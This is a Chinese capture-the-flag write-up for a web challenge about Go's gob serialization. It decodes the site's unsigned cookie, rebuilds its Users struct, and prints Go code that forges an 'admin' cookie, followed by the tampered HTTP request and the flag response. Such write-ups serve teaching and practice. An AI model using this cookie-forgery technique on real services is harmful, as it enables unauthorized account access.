题目描述

听说有个库叫gob

题目考点

golang gob序列化库伪造cookie

题目环境

Linux+golang

题目writeup

登陆时可以注意到 后端设置了cookie 尝试解码

-ÿ�錯￿￿Users￿ÿ￿￿￿￿Username￿￿￿￿￿Password￿￿￿￿￿￿ÿ￿￿￿admin123￿￿123￿

可以根据内容猜测出cookie字段的数据结构

即

```
1   type Users struct{
2       Username string
3       Password string
4   }
```

而根据题目描述 尝试使用gob库伪造cookie

生成cookie的代码：

```
 1   package main
 2
 3   import (
 4       "bytes"
 5       "encoding/base64"
 6       "encoding/gob"
 7       "fmt"
 8   )
 9
10   type Users struct{
11       Username string
12       Password string
```

```
13  }
14
15  func main(){
16      User := Users{
17          Username:"admin",
18          Password: "123",
19      }
20      fmt.Println(cookieEncode(serialize(User)))
21  }
22
23  func serialize(instance Users) []byte{
24      var result bytes.Buffer
25      encoder := gob.NewEncoder(&result)
26      encoder.Encode(instance)
27      userBytes := result.Bytes()
28      return userBytes
29  }
30  func cookieEncode(data []byte) string{
31      return base64.StdEncoding.EncodeToString(data)
32  }
```

```
go run: cannot run non main package
D:\goexp\src>go run main.go
Lf+BAwEBBVVzZXJzAf+CAAECAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAAAAA//ggEFYWRtaW4BAzEyMwA=
D:\goexp\src>
```

GET /home HTTP/1.1
Host: 39.106.207.66:2333
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:52.0) Gecko/20100101 Firefox/52.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://39.106.207.66:2333/login
Cookie: cookie=
Lf+BAwEBBVVzZXJzAf+CAAECAQhVc2VybmFtZQ
BDAAAAA//ggEFYWRtaW4BAzEyMwA=
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Sun, 09 Aug 2020 07:43:05 GMT
Content-Length: 43
Content-Type: text/plain; charset=utf-8
Connection: close

flag{04afc01c-dfd4-4b00-82c6-53bb21144d52}

在home处就行替换得到flag